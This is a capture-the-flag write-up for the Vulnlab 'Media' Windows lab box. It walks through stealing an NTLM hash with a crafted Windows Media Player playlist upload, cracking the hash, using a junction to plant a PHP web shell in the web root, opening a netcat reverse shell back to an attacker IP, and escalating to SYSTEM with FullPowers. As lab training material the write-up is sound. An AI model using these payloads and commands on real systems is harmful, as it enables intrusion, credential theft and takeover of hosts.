Media is a medium windows box from vulnlab. It involves stealing NTLM hash by uploading a specific Windows Media Player file and abusing Symlinks for Privesc.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0) | ssh-hostkey: | 3072 0b:b3:c0:80:40:88:e1:ae:aa:3b:5f:f4:c2:23:c0:0d (RSA) | 256 e0:80:3f:dd:b1:f8:fc:83:f5:de:d5:b3:2d:5a:4b:39 (ECDSA) |_ 256 b5:32:c0:72:18:10:0f:24:5d:f8:e1:ce:2a:73:5c:1f (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17) |_http-title: ProMotion Studio |_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: MEDIA | NetBIOS_Domain_Name: MEDIA | NetBIOS_Computer_Name: MEDIA | DNS_Domain_Name: MEDIA | DNS_Computer_Name: MEDIA | Product_Version: 10.0.20348 |_ System_Time: 2023-10-15T16:28:02+00:00 |_ssl-date: 2023-10-15T16:28:07+00:00; -2s from scanner time. | ssl-cert: Subject: commonName=MEDIA | Not valid before: 2023-10-09T13:41:32 |_Not valid after: 2024-04-09T13:41:32 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
As the Nmap scan reveals, we have just 3 ports open, SSH on port 22, HTTP on port 80, and RDP on port 3389.
Let’s start by taking a look at the web server.
Web
We have a website for a studio. If we scroll to the bottom of the page we can see a form to join the team and a file upload functionality that says Upload a brief introduction video (compatible with Windows Media Player).
At this point I was searching for CVEs related to Windows Media Player but couldn’t find any. Then I thought, if we can upload a specific media player file maybe we can steal the user hash. So, I started looking for NTLM theft files and I stumbled across this tool https://github.com/Greenwolf/ntlm_theft that generates different file types to steal NTLM hashes. If we search for Windows Media Player we can see that there are 3 possible file types:
.wax - via Windows Media Player playlist (Better, primary open)
.asx – via Windows Media Player playlist (Better, primary open)
.m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy)
We got the user enox’s hash. Let’s save it to a file and crack it
1 2 3 4 5 6 7 8 9 10 11
➜ cat enox.hash enox::MEDIA:df9b076f3a39d3e3:7C311A6E8C859408DA17E598CC1F1D48:010100000000000000B9356E63FFD9015186DD9FF6A0B7A100000000020008003500520057004C0001001E00570049004E002D005000590046005400580046004900490045005700430004003400570049004E002D00500059004600540058004600490049004500570043002E003500520057004C002E004C004F00430041004C00030014003500520057004C002E004C004F00430041004C00050014003500520057004C002E004C004F00430041004C000700080000B9356E63FFD90106000400020000000800300030000000000000000000000000300000706DC2CD185DEF0BCDEA9EF817CEEC7B1B0D3CE8C608466251947DE9739C5BEB0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E0038002E0030002E003200310030000000000000000000 ➜ j enox.hash Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status <REDACTED> (enox) 1g 0:00:00:06 DONE (2023-10-18 17:27) 0.1451g/s 1935Kp/s 1935Kc/s 1935KC/s 1234ถ6789..1234dork Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.
j is just an alias I created for john, here is the full command
1 2
➜ type j j is an alias for john --wordlist=/usr/share/wordlists/rockyou.txt
Now that we have a username and a password, let’s attempt to log in. As observed in the Nmap scan above, SSH is open
1 2
➜ ssh enox@media.vl enox@media.vl's password:
We logged in successfully and can now read the user flag :)
1 2 3 4 5
Microsoft Windows [Version 10.0.20348.1970] (c) Microsoft Corporation. All rights reserved.
// Create a folder name using the MD5 hash of Firstname + Lastname + Email $folderName = md5($firstname . $lastname . $email);
// Create the full upload directory path $targetDir = $uploadDir . $folderName . '/';
// Ensure the directory exists; create it if not if (!file_exists($targetDir)) { mkdir($targetDir, 0777, true); }
// Sanitize the filename to remove unsafe characters $originalFilename = $_FILES["fileToUpload"]["name"]; $sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);
// Build the full path to the target file $targetFile = $targetDir . $sanitizedFilename;
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) { echo"<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";
// Append the new line to the file file_put_contents($todoFile, $todoContent, FILE_APPEND); } else { echo"<script>alert('Uh oh, something went wrong... Please submit again');</script>"; } } ?>
This script handles the file upload feature observed on the website. Essentially, it generates a unique folder name using the MD5 hash of the concatenated firstname, lastname, and email fields.
This folder will be created under the base upload directory which is C:/Windows/Tasks/Uploads/, then the script will store the uploaded file in that folder.
Attack Idea
We can use symlinks or Junction to abuse this, since we can predict the folder name using the MD5 sum, we can create a junction with the same name pointing to C:\xampp\htdocs, subsequent file uploads are redirected to the web server’s root directory which is C:\xampp\htdocs. Therefore, we can upload a PHP shell that way.
Attack Execution
Let’s create a file called shell.php which has the following content
1 2 3 4 5
<?php
system($_REQUEST['cmd']);
?>
Now let’s predict the folder name where the file will be stored by calculating the MD5 sum of the firstnamelastnameemail we are going to use. I will use the following values:
Confirm The item at C:\Windows\Tasks\Uploads\3b060c7f54f15b7268440128b7f34e6e has children and the Recurse parameter was not specified. If you continue, all children will be removed with the item. Are you sure you want to continue? [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "Y"): A
Create the junction
1 2 3 4
enox@MEDIA C:\xampp\htdocs>mklink /J C:\Windows\Tasks\Uploads\3b060c7f54f15b7268440128b7f34e6e C:\xampp\htdocs Junction created for C:\Windows\Tasks\Uploads\3b060c7f54f15b7268440128b7f34e6e <<===>> C:\xampp\htdocs
enox@MEDIA C:\xampp\htdocs>
Re-upload the file
The file will be saved under C:\xampp\htdocs\ instead, as you can see here.
1 2 3 4 5 6 7 8 9 10 11 12 13
PS C:\xampp\htdocs> ls
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 10/2/2023 10:27 AM assets d----- 10/2/2023 10:27 AM css d----- 10/2/2023 10:27 AM js -a---- 10/10/2023 5:00 AM 20563 index.php -a---- 10/19/2023 3:12 AM 37 shell.php
Shell as local service account
Let’s upload nc64.exe to the target machine
1 2 3 4 5 6 7 8 9 10
PS C:\temp> iwr http://10.8.0.210/nc64.exe -outfile nc64.exe PS C:\temp> ls
Directory: C:\temp
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/19/2023 3:15 AM 45272 nc64.exe
Now all we have to do is start a netcat listener on our machine and then run the following command
➜ nc -nlvp 443 listening on [any] 443 ... connect to [10.8.0.210] from (UNKNOWN) [10.10.119.80] 50206 Microsoft Windows [Version 10.0.20348.1970] (c) Microsoft Corporation. All rights reserved.
C:\xampp\htdocs>whoami whoami nt authority\local service
PrivEsc
If we run whoami /all we can see that we don’t have all the privileges, some are missing. Luckily for us we can use a tool called FullPowers which is a tool to automatically recover the default privilege set of a service account including SeAssignPrimaryToken and SeImpersonate. Let’s download the tool from here https://github.com/itm4n/FullPowers/releases/tag/v0.1 and upload it to our target machine:
1 2 3 4 5 6 7 8 9 10 11 12
PS C:\temp> iwr http://10.8.0.210/FullPowers.exe -outfile FullPowers.exe iwr http://10.8.0.210/FullPowers.exe -outfile FullPowers.exe PS C:\temp> ls ls
Directory: C:\temp
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/19/2023 9:10 AM 36864 FullPowers.exe
Now let’s start a netcat listener and run it
1 2 3 4 5 6
PS C:\temp> ./FullPowers.exe -c "C:\temp\nc64.exe 10.8.0.210 443 -e cmd" -z ./FullPowers.exe -c "C:\temp\nc64.exe 10.8.0.210 443 -e cmd" -z [+] Started dummy thread with id 3704 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK
We successfully got a shell
1 2 3 4 5 6 7
➜ nc -nlvp 443 listening on [any] 443 ... connect to [10.8.0.210] from (UNKNOWN) [10.10.101.190] 49905 Microsoft Windows [Version 10.0.20348.1970] (c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
If we take a look at the local service user privileges we can see that the privileges that were missing are now present :)
1 2 3 4 5 6 7 8 9 10 11 12
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
We got a shell as system and we can read the root flag :)
1 2 3 4 5 6 7 8 9 10 11 12 13
➜ nc -nlvp 443 listening on [any] 443 ... connect to [10.8.0.210] from (UNKNOWN) [10.10.101.190] 49986 Microsoft Windows [Version 10.0.20348.1970] (c) Microsoft Corporation. All rights reserved.
C:\temp>whoami whoami nt authority\system
C:\temp>type C:\users\administrator\desktop\root.txt type C:\users\administrator\desktop\root.txt VL{REDCATED}
That was the box. I hope you learned something new :D